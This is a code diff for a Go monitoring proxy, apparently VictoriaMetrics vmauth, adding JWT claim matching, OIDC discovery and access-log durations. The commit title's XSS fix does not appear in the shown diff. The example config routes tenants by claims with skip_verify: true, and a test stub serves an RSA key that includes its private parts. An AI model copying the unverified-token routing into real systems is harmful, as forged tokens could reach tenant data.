app/vmselect/graphite: sanitize JSONP callback parameter to prevent XSS

wip

w

app/vmalert/main.go

@@ -56,7 +56,7 @@ absolute path to all .tpl files in root.
  -rule.templates="dir/**/*.tpl". Includes all the .tpl files in "dir" subfolders recursively.
 `)
 
-	configCheckInterval = flag.Duration("configCheckInterval", 0, "Interval for checking for changes in '-rule' or '-notifier.config' files. "+
+	configCheckInterval = flag.Duration("configCheckInterval", 0, "Interval for checking for changes in '-rule', '-rule.templates' and '-notifier.config' files. "+
 		"By default, the checking is disabled. Send SIGHUP signal in order to force config check for changes.")
 
 	httpListenAddrs  = flagutil.NewArrayString("httpListenAddr", "Address to listen for incoming http requests. See also -tls and -httpListenAddr.useProxyProtocol")

app/vmauth/auth_config.go

@@ -117,7 +117,10 @@ type AccessLogFilters struct {
 	SkipStatusCodes []int `yaml:"skip_status_codes"`
 }
 
-func (ui *UserInfo) logRequest(r *http.Request, userName string, statusCode int) {
+func (ui *UserInfo) logRequest(r *http.Request, userName string, statusCode int, duration time.Duration) {
+	if ui.AccessLog == nil {
+		return
+	}
 	filters := ui.AccessLog.Filters
 	if filters != nil && len(filters.SkipStatusCodes) > 0 {
 		if slices.Contains(filters.SkipStatusCodes, statusCode) {
@@ -127,8 +130,8 @@ func (ui *UserInfo) logRequest(r *http.Request, userName string, statusCode int)
 
 	remoteAddr := httpserver.GetQuotedRemoteAddr(r)
 	requestURI := httpserver.GetRequestURI(r)
-	logger.Infof("access_log request_host=%q request_uri=%q status_code=%d remote_addr=%s user_agent=%q referer=%q username=%q",
-		r.Host, requestURI, statusCode, remoteAddr, r.UserAgent(), r.Referer(), userName)
+	logger.Infof("access_log request_host=%q request_uri=%q status_code=%d remote_addr=%s user_agent=%q referer=%q duration_ms=%d username=%q",
+		r.Host, requestURI, statusCode, remoteAddr, r.UserAgent(), r.Referer(), duration.Milliseconds(), userName)
 }
 
 // HeadersConf represents config for request and response headers.
@@ -875,12 +878,14 @@ func reloadAuthConfigData(data []byte) (bool, error) {
 		return false, fmt.Errorf("failed to parse auth config: %w", err)
 	}
 
-	jui, err := parseJWTUsers(ac)
+	jui, oidcDP, err := parseJWTUsers(ac)
 	if err != nil {
 		return false, fmt.Errorf("failed to parse JWT users from auth config: %w", err)
 	}
+	oidcDP.startDiscovery()
 	jwtc := &jwtCache{
-		users: jui,
+		users:  jui,
+		oidcDP: oidcDP,
 	}
 
 	m, err := parseAuthConfigUsers(ac)
@@ -899,6 +904,11 @@ func reloadAuthConfigData(data []byte) (bool, error) {
 	}
 	metrics.RegisterSet(ac.ms)
 
+	jwtcPrev := jwtAuthCache.Load()
+	if jwtcPrev != nil {
+		jwtcPrev.oidcDP.stopDiscovery()
+	}
+
 	authConfig.Store(ac)
 	authConfigData.Store(&data)
 	authUsers.Store(&m)

app/vmauth/auth_config_test.go

@@ -4,8 +4,11 @@ import (
 	"bytes"
 	"fmt"
 	"net"
+	"net/http"
 	"net/url"
+	"strings"
 	"testing"
+	"time"
 
 	"gopkg.in/yaml.v2"
 
@@ -993,6 +996,41 @@ func TestDiscoverBackendIPsWithIPV6(t *testing.T) {
 
 }
 
+func TestLogRequest(t *testing.T) {
+	ui := &UserInfo{AccessLog: &AccessLog{}}
+
+	testOutput := &bytes.Buffer{}
+	logger.SetOutputForTests(testOutput)
+	defer logger.ResetOutputForTest()
+
+	req, err := http.NewRequest("GET", "http://localhost:8080/select/0/prometheus", nil)
+	if err != nil {
+		t.Fatalf("unexpected error: %s", err)
+	}
+
+	f := func(user string, status int, duration time.Duration, expectedLog string) {
+		t.Helper()
+
+		testOutput.Reset()
+		ui.logRequest(req, user, status, duration)
+
+		got := testOutput.String()
+		if expectedLog == "" && got != "" {
+			t.Fatalf("expected empty log, got %q", got)
+		}
+		if !strings.Contains(got, expectedLog) {
+			t.Fatalf("output \n%q \nshould contain \n%q", testOutput.String(), expectedLog)
+		}
+	}
+
+	f("foo", 200, 10*time.Millisecond, `access_log request_host="localhost:8080" request_uri="" status_code=200 remote_addr="" user_agent="" referer="" duration_ms=10 username="foo"`)
+	f("foo", 404, time.Second, `access_log request_host="localhost:8080" request_uri="" status_code=404 remote_addr="" user_agent="" referer="" duration_ms=1000 username="foo"`)
+
+	ui.AccessLog.Filters = &AccessLogFilters{SkipStatusCodes: []int{200}}
+	f("foo", 200, 10*time.Millisecond, ``)
+	f("foo", 404, 10*time.Millisecond, `access_log request_host="localhost:8080" request_uri="" status_code=404 remote_addr="" user_agent="" referer="" duration_ms=10 username="foo"`)
+}
+
 func getRegexs(paths []string) []*Regex {
 	var sps []*Regex
 	for _, path := range paths {

app/vmauth/example_config.yml

@@ -116,6 +116,20 @@ users:
   - "http://default1:8888/unsupported_url_handler"
   - "http://default2:8888/unsupported_url_handler"
 
+# A JWT token based routing:
+# - Requests with JWT token that has the following structure:
+# {"team": "ops", "security": {"read_access": "1"}, "vm_access": {"metrics_account_id": 1000,"metrics_project_id":5}}
+# is routed to vmselect nodes and request url placeholder replaced with metrics tenant identificators
+- name: jwt-opts-team
+  jwt:
+    match_claims:
+     team: ops
+     security.read_access: "1"
+    skip_verify: true
+  url_prefix:
+  - "http://vmselect1:8481/select/{{.MetricsTenant}}/prometheus"
+  - "http://vmselect2:8481/select/{{.MetricsTenant}}/prometheus"
+
 # Requests without Authorization header are proxied according to `unauthorized_user` section.
 # Requests are proxied in round-robin fashion between `url_prefix` backends.
 # The deny_partial_response query arg is added to all the proxied requests.

app/vmauth/jwt.go

@@ -5,7 +5,10 @@ import (
 	"net/url"
 	"os"
 	"slices"
+	"sort"
 	"strings"
+	"sync"
+	"sync/atomic"
 	"time"
 
 	"github.com/VictoriaMetrics/VictoriaMetrics/lib/jwt"
@@ -44,38 +47,65 @@ var urlPathPlaceHolders = []string{
 type jwtCache struct {
 	// users contain UserInfo`s from AuthConfig with JWTConfig set
 	users []*UserInfo
+
+	oidcDP *oidcDiscovererPool
 }
 
 type JWTConfig struct {
-	PublicKeys     []string `yaml:"public_keys,omitempty"`
-	PublicKeyFiles []string `yaml:"public_key_files,omitempty"`
-	SkipVerify     bool     `yaml:"skip_verify,omitempty"`
+	PublicKeys        []string          `yaml:"public_keys,omitempty"`
+	PublicKeyFiles    []string          `yaml:"public_key_files,omitempty"`
+	SkipVerify        bool              `yaml:"skip_verify,omitempty"`
+	OIDC              *oidcConfig       `yaml:"oidc,omitempty"`
+	MatchClaims       map[string]string `yaml:"match_claims,omitempty"`
+	parsedMatchClaims []*jwt.Claim
 
-	verifierPool *jwt.VerifierPool
+	// verifierPool is used to verify JWT tokens.
+	// It is initialized from PublicKeys and/or PublicKeyFiles.
+	// In this case, it is initialized once at config reload and never updated until next reload
+	// In case of OIDC, it is initialized on config reload and periodically updated by discovery process.
+	verifierPool atomic.Pointer[jwt.VerifierPool]
 }
 
-func parseJWTUsers(ac *AuthConfig) ([]*UserInfo, error) {
+func parseJWTUsers(ac *AuthConfig) ([]*UserInfo, *oidcDiscovererPool, error) {
 	jui := make([]*UserInfo, 0, len(ac.Users))
-	for _, ui := range ac.Users {
+	oidcDP := &oidcDiscovererPool{}
+
+	uniqClaims := make(map[string]*UserInfo)
+	var sortedClaims []string
+	for idx, ui := range ac.Users {
 		jwtToken := ui.JWT
 		if jwtToken == nil {
 			continue
 		}
 
 		if ui.AuthToken != "" || ui.BearerToken != "" || ui.Username != "" || ui.Password != "" {
-			return nil, fmt.Errorf("auth_token, bearer_token, username and password cannot be specified if jwt is set")
+			return nil, nil, fmt.Errorf("auth_token, bearer_token, username and password cannot be specified if jwt is set")
 		}
-		if len(jwtToken.PublicKeys) == 0 && len(jwtToken.PublicKeyFiles) == 0 && !jwtToken.SkipVerify {
-			return nil, fmt.Errorf("jwt must contain at least a single public key, public_key_files or have skip_verify=true")
+		if len(jwtToken.PublicKeys) == 0 && len(jwtToken.PublicKeyFiles) == 0 && !jwtToken.SkipVerify && jwtToken.OIDC == nil {
+			return nil, nil, fmt.Errorf("jwt must contain at least a single public key, public_key_files, oidc or have skip_verify=true")
 		}
+		var claimsString string
+		sortedClaims = sortedClaims[:0]
+		parsedClaims := make([]*jwt.Claim, 0, len(jwtToken.MatchClaims))
+		for ck, cv := range jwtToken.MatchClaims {
+			sortedClaims = append(sortedClaims, fmt.Sprintf("%s=%s", ck, cv))
+			parsedClaims = append(parsedClaims, jwt.NewClaim(ck, cv))
+		}
+		ui.JWT.parsedMatchClaims = parsedClaims
+		sort.Strings(sortedClaims)
+		claimsString = strings.Join(sortedClaims, ",")
 
+		if oldUI, ok := uniqClaims[claimsString]; ok {
+			return nil, nil, fmt.Errorf("duplicate match claims=%q found for name=%q at idx=%d; the previous one is set for name=%q", claimsString, ui.Name, idx, oldUI.Name)
+		}
+		uniqClaims[claimsString] = &ui
 		if len(jwtToken.PublicKeys) > 0 || len(jwtToken.PublicKeyFiles) > 0 {
 			keys := make([]any, 0, len(jwtToken.PublicKeys)+len(jwtToken.PublicKeyFiles))
 
 			for i := range jwtToken.PublicKeys {
 				k, err := jwt.ParseKey([]byte(jwtToken.PublicKeys[i]))
 				if err != nil {
-					return nil, err
+					return nil, nil, err
 				}
 				keys = append(keys, k)
 			}
@@ -83,33 +113,52 @@ func parseJWTUsers(ac *AuthConfig) ([]*UserInfo, error) {
 			for _, filePath := range jwtToken.PublicKeyFiles {
 				keyData, err := os.ReadFile(filePath)
 				if err != nil {
-					return nil, fmt.Errorf("cannot read public key from file %q: %w", filePath, err)
+					return nil, nil, fmt.Errorf("cannot read public key from file %q: %w", filePath, err)
 				}
 				k, err := jwt.ParseKey(keyData)
 				if err != nil {
-					return nil, fmt.Errorf("cannot parse public key from file %q: %w", filePath, err)
+					return nil, nil, fmt.Errorf("cannot parse public key from file %q: %w", filePath, err)
 				}
 				keys = append(keys, k)
 			}
 
 			vp, err := jwt.NewVerifierPool(keys)
 			if err != nil {
-				return nil, err
+				return nil, nil, err
 			}
 
-			jwtToken.verifierPool = vp
+			jwtToken.verifierPool.Store(vp)
 		}
+		if jwtToken.OIDC != nil {
+			if len(jwtToken.PublicKeys) > 0 || len(jwtToken.PublicKeyFiles) > 0 || jwtToken.SkipVerify {
+				return nil, nil, fmt.Errorf("jwt with oidc cannot contain public keys or have skip_verify=true")
+			}
+
+			if jwtToken.OIDC.Issuer == "" {
+				return nil, nil, fmt.Errorf("oidc issuer cannot be empty")
+			}
+			isserURL, err := url.Parse(jwtToken.OIDC.Issuer)
+			if err != nil {
+				return nil, nil, fmt.Errorf("oidc issuer %q must be a valid URL", jwtToken.OIDC.Issuer)
+			}
+			if isserURL.Scheme != "https" && isserURL.Scheme != "http" {
+				return nil, nil, fmt.Errorf("oidc issuer %q must have http or https scheme", jwtToken.OIDC.Issuer)
+			}
+
+			oidcDP.createOrAdd(ui.JWT.OIDC.Issuer, &ui.JWT.verifierPool)
+		}
+
 		if err := parseJWTPlaceholdersForUserInfo(&ui, true); err != nil {
-			return nil, err
+			return nil, nil, err
 		}
 
 		if err := ui.initURLs(); err != nil {
-			return nil, err
+			return nil, nil, err
 		}
 
 		metricLabels, err := ui.getMetricLabels()
 		if err != nil {
-			return nil, fmt.Errorf("cannot parse metric_labels: %w", err)
+			return nil, nil, fmt.Errorf("cannot parse metric_labels: %w", err)
 		}
 		ui.requests = ac.ms.GetOrCreateCounter(`vmauth_user_requests_total` + metricLabels)
 		ui.requestErrors = ac.ms.GetOrCreateCounter(`vmauth_user_request_errors_total` + metricLabels)
@@ -128,36 +177,53 @@ func parseJWTUsers(ac *AuthConfig) ([]*UserInfo, error) {
 
 		rt, err := newRoundTripper(ui.TLSCAFile, ui.TLSCertFile, ui.TLSKeyFile, ui.TLSServerName, ui.TLSInsecureSkipVerify)
 		if err != nil {
-			return nil, fmt.Errorf("cannot initialize HTTP RoundTripper: %w", err)
+			return nil, nil, fmt.Errorf("cannot initialize HTTP RoundTripper: %w", err)
 		}
 		ui.rt = rt
 
 		jui = append(jui, &ui)
 	}
 
-	// TODO: the limitation will be lifted once claim based matching will be implemented
-	if len(jui) > 1 {
-		return nil, fmt.Errorf("multiple users with JWT tokens are not supported; found %d users", len(jui))
-	}
+	// sort by amount of matching claims
+	// it allows to more specific claim win in case of clash
+	sort.SliceStable(jui, func(i, j int) bool {
+		return len(jui[i].JWT.MatchClaims) > len(jui[j].JWT.MatchClaims)
+	})
 
-	return jui, nil
+	return jui, oidcDP, nil
 }
 
-func getUserInfoByJWTToken(ats []string) (*UserInfo, *jwt.Token) {
+var tokenPool sync.Pool
+
+func getToken() *jwt.Token {
+	tkn := tokenPool.Get()
+	if tkn == nil {
+		return &jwt.Token{}
+	}
+	return tkn.(*jwt.Token)
+}
+
+func putToken(tkn *jwt.Token) {
+	tkn.Reset()
+	tokenPool.Put(tkn)
+}
+
+func getJWTUserInfo(ats []string) (*UserInfo, *jwt.Token) {
 	js := *jwtAuthCache.Load()
 	if len(js.users) == 0 {
 		return nil, nil
 	}
 
+	tkn := getToken()
+
 	for _, at := range ats {
 		if strings.Count(at, ".") != 2 {
 			continue
 		}
 
 		at, _ = strings.CutPrefix(at, `http_auth:`)
-
-		tkn, err := jwt.NewToken(at, true)
-		if err != nil {
+		tkn.Reset()
+		if err := tkn.Parse(at, true); err != nil {
 			if *logInvalidAuthTokens {
 				logger.Infof("cannot parse jwt token: %s", err)
 			}
@@ -172,25 +238,68 @@ func getUserInfoByJWTToken(ats []string) (*UserInfo, *jwt.Token) {
 			continue
 		}
 
-		for _, ui := range js.users {
-			if ui.JWT.SkipVerify {
-				return ui, tkn
-			}
-
-			if err := ui.JWT.verifierPool.Verify(tkn); err != nil {
-				if *logInvalidAuthTokens {
-					logger.Infof("cannot verify jwt token: %s", err)
-				}
-				continue
-			}
-
+		if ui := getUserInfoByJWTToken(tkn, js.users); ui != nil {
 			return ui, tkn
 		}
 	}
 
+	putToken(tkn)
 	return nil, nil
 }
 
+func getUserInfoByJWTToken(tkn *jwt.Token, users []*UserInfo) *UserInfo {
+	for _, ui := range users {
+		if !tkn.MatchClaims(ui.JWT.parsedMatchClaims) {
+			continue
+		}
+
+		if ui.JWT.SkipVerify {
+			return ui
+		}
+
+		if ui.JWT.OIDC != nil {
+			// OIDC requires iss claim.
+			// It must match the discovery issuer URL set in OIDC config.
+			// https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata
+			if tkn.Issuer() == "" {
+				if *logInvalidAuthTokens {
+					logger.Infof("jwt token must have issuer filed")
+				}
+				return nil
+			}
+			if tkn.Issuer() != ui.JWT.OIDC.Issuer {
+				if *logInvalidAuthTokens {
+					logger.Infof("jwt token issuer: %q does not match oidc issuer: %q", tkn.Issuer(), ui.JWT.OIDC.Issuer)
+				}
+				return nil
+			}
+		}
+
+		vp := ui.JWT.verifierPool.Load()
+		if vp == nil {
+			if *logInvalidAuthTokens {
+				logger.Infof("jwt verifier not initialed")
+			}
+			return nil
+		}
+
+		if err := vp.Verify(tkn); err != nil {
+			if *logInvalidAuthTokens {
+				logger.Infof("cannot verify jwt token: %s", err)
+			}
+			return nil
+		}
+
+		return ui
+	}
+
+	if *logInvalidAuthTokens {
+		logger.Infof("no user match jwt token")
+	}
+
+	return nil
+}
+
 func replaceJWTPlaceholders(bu *backendURL, hc HeadersConf, vma *jwt.VMAccessClaim) (*url.URL, HeadersConf) {
 	if !bu.hasPlaceHolders && !hc.hasAnyPlaceHolders {
 		return bu.url, hc

app/vmauth/jwt_test.go

@@ -1,7 +1,10 @@
 package main
 
 import (
+	"encoding/json"
 	"fmt"
+	"net/http"
+	"net/http/httptest"
 	"os"
 	"path/filepath"
 	"testing"
@@ -36,14 +39,16 @@ XOtclIk1uhc03oL9nOQ=
 			}
 			return
 		}
-		users, err := parseJWTUsers(ac)
-		if err != nil {
-			if expErr != err.Error() {
-				t.Fatalf("unexpected error; got\n%q\nwant \n%q", err.Error(), expErr)
-			}
-			return
+		users, oidcDP, err := parseJWTUsers(ac)
+		if err == nil {
+			t.Fatalf("expecting non-nil error; got %v", users)
+		}
+		if expErr != err.Error() {
+			t.Fatalf("unexpected error; got\n%q\nwant \n%q", err.Error(), expErr)
+		}
+		if oidcDP != nil {
+			t.Fatalf("expecting nil oidcDP; got %v", oidcDP)
 		}
-		t.Fatalf("expecting non-nil error; got %v", users)
 	}
 
 	// unauthorized_user cannot be used with jwt
@@ -80,28 +85,28 @@ users:
 users:
 - jwt: {}
   url_prefix: http://foo.bar
-`, `jwt must contain at least a single public key, public_key_files or have skip_verify=true`)
+`, `jwt must contain at least a single public key, public_key_files, oidc or have skip_verify=true`)
 
 	// jwt public_keys or skip_verify must be set, part 2
 	f(`
 users:
 - jwt: {public_keys: null}
   url_prefix: http://foo.bar
-`, `jwt must contain at least a single public key, public_key_files or have skip_verify=true`)
+`, `jwt must contain at least a single public key, public_key_files, oidc or have skip_verify=true`)
 
 	// jwt public_keys or skip_verify must be set, part 3
 	f(`
 users:
 - jwt: {public_keys: []}
   url_prefix: http://foo.bar
-`, `jwt must contain at least a single public key, public_key_files or have skip_verify=true`)
+`, `jwt must contain at least a single public key, public_key_files, oidc or have skip_verify=true`)
 
 	// jwt public_keys, public_key_files or skip_verify must be set
 	f(`
 users:
 - jwt: {public_key_files: []}
   url_prefix: http://foo.bar
-`, `jwt must contain at least a single public key, public_key_files or have skip_verify=true`)
+`, `jwt must contain at least a single public key, public_key_files, oidc or have skip_verify=true`)
 
 	// invalid public key, part 1
 	f(`
@@ -140,7 +145,7 @@ users:
     public_keys:
     - %q
   url_prefix: http://foo.bar
-`, validRSAPublicKey, validECDSAPublicKey), `multiple users with JWT tokens are not supported; found 2 users`)
+`, validRSAPublicKey, validECDSAPublicKey), `duplicate match claims="" found for name="" at idx=1; the previous one is set for name=""`)
 
 	// public key file doesn't exist
 	f(`
@@ -196,6 +201,90 @@ users:
 `,
 		"request header: \"AccountID\" has unsupported placeholder: \"{{ .LogsAccountID }}\", supported values are: {{.MetricsTenant}}, {{.MetricsExtraLabels}}, {{.MetricsExtraFilters}}, {{.LogsAccountID}}, {{.LogsProjectID}}, {{.LogsExtraFilters}}, {{.LogsExtraStreamFilters}}",
 	)
+
+	// oidc is not an object
+	f(`
+users:
+- jwt: 
+    oidc: "not an object"
+  url_prefix: http://foo.bar
+`,
+		"cannot unmarshal AuthConfig data: yaml: unmarshal errors:\n  line 4: cannot unmarshal !!str `not an ...` into main.oidcConfig",
+	)
+
+	// oidc issuer empty
+	f(`
+users:
+- jwt: 
+    oidc: {}
+  url_prefix: http://foo.bar
+`,
+		"oidc issuer cannot be empty",
+	)
+
+	// oidc issuer invalid urls
+	f(`
+users:
+- jwt: 
+    oidc:
+      issuer: "::invalid-url"
+  url_prefix: http://foo.bar
+`,
+		"oidc issuer \"::invalid-url\" must be a valid URL",
+	)
+
+	// oidc issuer invalid urls
+	f(`
+users:
+- jwt: 
+    oidc:
+      issuer: "invalid-url"
+  url_prefix: http://foo.bar
+`,
+		"oidc issuer \"invalid-url\" must have http or https scheme",
+	)
+
+	// oidc and public_keys are not allowed
+	f(fmt.Sprintf(`
+users:
+- jwt: 
+    public_keys:
+    - %q
+    oidc: 
+      issuer: https://example.com
+  url_prefix: http://foo.bar
+`, validRSAPublicKey),
+		"jwt with oidc cannot contain public keys or have skip_verify=true",
+	)
+
+	// oidc and skip_verify are not allowed
+	f(`
+users:
+- jwt: 
+    skip_verify: true
+    oidc: 
+      issuer: https://example.com
+  url_prefix: http://foo.bar
+`,
+		"jwt with oidc cannot contain public keys or have skip_verify=true",
+	)
+	// duplicate claims
+	f(`
+users:
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: ops
+  name: user-1
+  url_prefix: http://foo.bar
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: ops
+  name: user-2
+  url_prefix: http://foo.bar`,
+		"duplicate match claims=\"team=ops\" found for name=\"user-2\" at idx=1; the previous one is set for name=\"user-1\"",
+	)
 }
 
 func TestJWTParseAuthConfigSuccess(t *testing.T) {
@@ -225,10 +314,12 @@ XOtclIk1uhc03oL9nOQ=
 			t.Fatalf("unexpected error: %s", err)
 		}
 
-		jui, err := parseJWTUsers(ac)
+		jui, oidcDP, err := parseJWTUsers(ac)
 		if err != nil {
 			t.Fatalf("unexpected error: %s", err)
 		}
+		oidcDP.startDiscovery()
+		defer oidcDP.stopDiscovery()
 
 		for _, ui := range jui {
 			if ui.JWT == nil {
@@ -236,13 +327,13 @@ XOtclIk1uhc03oL9nOQ=
 			}
 
 			if ui.JWT.SkipVerify {
-				if ui.JWT.verifierPool != nil {
+				if ui.JWT.verifierPool.Load() != nil {
 					t.Fatalf("unexpected non-nil verifier pool for skip_verify=true")
 				}
 				continue
 			}
 
-			if ui.JWT.verifierPool == nil {
+			if ui.JWT.verifierPool.Load() == nil {
 				t.Fatalf("unexpected nil verifier pool for non-empty public keys")
 			}
 		}
@@ -333,4 +424,80 @@ users:
     - %q
   url_prefix: http://foo.bar
 `, validECDSAPublicKey, rsaKeyFile))
+
+	// oidc stub server
+	var ipSrv *httptest.Server
+	ipSrv = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path == "/.well-known/openid-configuration" {
+			w.Header().Set("Content-Type", "application/json")
+			_ = json.NewEncoder(w).Encode(map[string]string{
+				"issuer":   ipSrv.URL,
+				"jwks_uri": fmt.Sprintf("%s/jwks", ipSrv.URL),
+			})
+			return
+		}
+		if r.URL.Path == "/jwks" {
+			// resp generated by https://jwkset.com/generate
+			w.Header().Set("Content-Type", "application/json")
+			w.Write([]byte(`
+{
+  "keys": [
+    {
+      "kty": "RSA",
+      "kid": "f13eee91-f566-4829-80fa-fca847c21f0e",
+      "d": "Ua1llEFz3LZ05CrK5a2JxKMUEWJGXhBPPF20hHQjzxd1w0IEJK_mhPZQG8dNtBROBNIi1FC9l6QRw-RTnVIVat5Xy4yDFNKXXL3ZLXejOHY8SXrNEIDqQ-cSwIpK9cK7Umib0PcPeEeeAED5mqDH75D8_YssWFF18kLbNB5Z9pZmn6Fshiht7l2Sh4GN-KcReOW6eiQQwckDte3OGmZCRbtEriLWJt5TUGUvfZVIlcclqNMycNB6jGa9E1pO5Up7Ki3ZbI_-6XmRgZPtqnR9oLJ1zn3fj3hYpCXo-zcqLuOu3qxcslsq5igsfBzgGtfIJHY9LfWmHUsaDEa5cAX1gQ",
+      "n": "xbLXXBTNREk70UCMiqZ53_mTzYh89W-UaPU61GZ-RZ5lYcLgyWOb5mdyRbvJpcgfZpsOeGAUWbk3GkQ4vqn8kUMnnWhUum2Qk9kGubOJGLW6yaURd00j3E-ilQ5xO2R_Hzz8bAojxV8GKdGTQ-iTf8z8nsSHH8kR2SERbNJCFFtwtFU7vyFWyoH4Lmvu2UpICTHFCR9RqwQVjyoKB1JjJ6Dh1L4zPTlsvQEnqoeFQHPYr0QcQSMYXdfPvlt_FiLOAOE89fX_9T2r9WbFAoda3uTRE5_aal0jxUU2cFyeVSIgauNtF07fp422XFb4XPkWQWrdNx0KX53laSIYQ9HOpw",
+      "e": "AQAB",
+      "p": "2JT57AD-Q2lamgjgyn0wL7DgYZ3OoCTTrDm5_NHg6h13uDvyIlXSukuUeWm4tzPSDedpstbS7dgXkLw5eQXBHwPYtByTcEZS8Z37CBnhMOOhfo_U1aNIPPanJACvWBgz47-TxHsxW1YhztZqghRoicBZPSSBAj49MgANJ4jF0zc",
+      "q": "6a4MkeSXJI-ZzQ-bgP8hwJqpLFr0AiNGQcjZMH4Nn4CPGdnGiqqe6flhfLimgbNhbb67B0-8fLIji8zGhGKDL_JSIpAAdmfs2vzeEsY2hScrqVbd1VbfRcRh0J6lsn7obxkbvQthp9sX2DQbeDcEeaFEvd9gDKQSATYEqWo7eBE",
+      "dp": "haL2yu6Z9RJuuxi7S3YPY33qFZF_y0St71j3L854zzw7gMxMTW9TRWwZQwk-1pv9AmNFzvnK0MNDVyUs-UXZsb932TrApshdqYRnPsppLvdl0GgDVYcYrbUr0IUzrFHSwraVAOlavRbaaXvX4EejcUvkRFvf1nh83fs2Iqy8E-U",
+      "dq": "Cnf5qC-Ndd3ZDg688LJ9WJuVKJ-Kfu4Fn7zXvgxnn9Wqk4XmFyA9rk21yFidXQIkQz5gMpun3g48-W5bFmMzbVp1w4af_q35NnZNnJm0p5Jxqkxx87TIm9-IYkg5NB3rW87MJ1PzNAnkr5LmCCSu1qQa6Eaxjt9qzxMUcmKH94E",
+      "qi": "saAeU11iaKHmye3cwCAYkegcyWbXV3xIXEVJtS9Af_yM19UhspwY2VhuwRaajcwYZwtvR9_ITmX9M-ea7uLdd7aDYO1fujC8NGbopeC4Hkr7yb5vTly3pfKf4h-3LwGGUucJUetdz1lmMIYiyuG4_gSf1yIEtPDLKzXiedgEMdI"
+    }
+  ]
+}
+`))
+			return
+		}
+
+		http.NotFound(w, r)
+	}))
+	defer ipSrv.Close()
+
+	f(`
+users:
+- jwt:
+    oidc:
+      issuer: ` + ipSrv.URL + `
+  url_prefix: http://foo.bar
+`)
+	// multiple match claims
+	f(fmt.Sprintf(`
+users:
+- jwt:
+   match_claims:
+    role: ro
+    team: dev
+   public_keys:
+    - %q
+  url_prefix: http://foo.bar
+- jwt:
+   match_claims:
+      role: admin
+      team: dev
+   public_key_files:
+    - %q
+    - %q
+  url_prefix: http://foo.bar
+- jwt:
+   match_claims:
+     role: viewer
+     team: dev
+     department: ceo
+   skip_verify: true
+  url_prefix: http://foo.bar
+
+
+`, validRSAPublicKey, rsaKeyFile, ecdsaKeyFile))
+
 }

app/vmauth/main.go

@@ -186,11 +186,11 @@ func requestHandler(w http.ResponseWriter, r *http.Request) bool {
 		processUserRequest(w, r, ui, nil)
 		return true
 	}
-	if ui, tkn := getUserInfoByJWTToken(ats); ui != nil {
+	if ui, tkn := getJWTUserInfo(ats); ui != nil {
 		if tkn == nil {
 			logger.Panicf("BUG: unexpected nil jwt token for user %q", ui.name())
 		}
-
+		defer putToken(tkn)
 		processUserRequest(w, r, ui, tkn)
 		return true
 	}
@@ -274,7 +274,8 @@ func processUserRequest(w http.ResponseWriter, r *http.Request, ui *UserInfo, tk
 		w = &responseWriterWithStatus{ResponseWriter: w}
 		defer func() {
 			rws := w.(*responseWriterWithStatus)
-			ui.logRequest(r, userName, rws.status)
+			duration := time.Since(startTime)
+			ui.logRequest(r, userName, rws.status, duration)
 		}()
 	}
 
@@ -427,9 +428,11 @@ func processRequest(w http.ResponseWriter, r *http.Request, ui *UserInfo, tkn *j
 		}
 		if isDefault {
 			// Don't change path and add request_path query param for default route.
+			targetURLCopy := *targetURL
 			query := targetURL.Query()
 			query.Set("request_path", u.String())
-			targetURL.RawQuery = query.Encode()
+			targetURLCopy.RawQuery = query.Encode()
+			targetURL = &targetURLCopy
 		} else {
 			// Update path for regular routes.
 			targetURL = mergeURLs(targetURL, u, up.dropSrcPathPrefixParts, up.mergeQueryArgs)

app/vmauth/main_test.go

@@ -12,6 +12,7 @@ import (
 	"encoding/pem"
 	"fmt"
 	"io"
+	"math/big"
 	"net"
 	"net/http"
 	"net/http/httptest"
@@ -102,6 +103,35 @@ User-Agent: vmauth
 X-Forwarded-For: 12.34.56.78, 42.2.3.84`
 	f(cfgStr, requestURL, backendHandler, responseExpected)
 
+	// with default_url
+	cfgStr = `
+unauthorized_user:
+  default_url: {BACKEND}/default
+  url_map:
+  - src_paths:
+    - /empty
+    url_prefix: {BACKEND}/empty`
+	requestURL = "http://some-host.com/abc/def?some_arg=some_value"
+	backendHandler = func(w http.ResponseWriter, r *http.Request) {
+		h := w.Header()
+		h.Set("Connection", "close")
+		h.Set("Foo", "bar")
+
+		var bb bytes.Buffer
+		if err := r.Header.Write(&bb); err != nil {
+			panic(fmt.Errorf("unexpected error when marshaling headers: %w", err))
+		}
+		fmt.Fprintf(w, "requested_url=http://%s%s\n%s", r.Host, r.URL, bb.String())
+	}
+	responseExpected = `
+statusCode=200
+Foo: bar
+requested_url={BACKEND}/default?request_path=http%3A%2F%2Fsome-host.com%2Fabc%2Fdef%3Fsome_arg%3Dsome_value
+Pass-Header: abc
+User-Agent: vmauth
+X-Forwarded-For: 12.34.56.78, 42.2.3.84`
+	f(cfgStr, requestURL, backendHandler, responseExpected)
+
 	// routing of all failed to authorize requests to unauthorized_user (issue #7543)
 	cfgStr = `
 unauthorized_user:
@@ -1235,11 +1265,275 @@ users:
 		request,
 		responseExpected,
 	)
+	nestedToken := genToken(t, map[string]any{
+		"exp":  time.Now().Add(10 * time.Minute).Unix(),
+		"team": "dev",
+		"nested": map[string]any{
+			"department_id": 0,
+			"scopes":        []string{"metrics", "logs"},
+			"team_permissions": map[string]any{
+				"read":  0,
+				"write": 1,
+			},
+		},
+		"vm_access": map[string]any{
+			"metrics_account_id": 123,
+			"metrics_project_id": 234,
+			"metrics_extra_labels": []string{
+				"label1=value1",
+				"label2=value2",
+			},
+			"metrics_extra_filters": []string{
+				`{label3="value3"}`,
+				`{label4="value4"}`,
+			},
+			"logs_account_id": 345,
+			"logs_project_id": 456,
+			"logs_extra_filters": []string{
+				`{"namespace":"my-app","env":"prod"}`,
+			},
+			"logs_extra_stream_filters": []string{
+				`{"team":"dev"}`,
+			},
+		},
+	}, true)
+
+	// use claim for routing, must specific match wins
+	request = httptest.NewRequest(`GET`, "http://some-host.com/route", nil)
+	request.Header.Set(`Authorization`, `Bearer `+nestedToken)
+	responseExpected = `
+statusCode=200
+path: /dev/route
+query:
+headers:
+`
+	f(`
+users:
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: dev
+     nested.scopes.1: "logs"
+     nested.department_id: "0"
+  url_map:
+    - src_paths: ["/route"]
+      url_prefix: {BACKEND}/dev
+- jwt:
+    skip_verify: true
+    match_claims:
+     team: dev
+     nested.scopes.1: "logs"
+  url_map:
+    - src_paths: ["/route"]
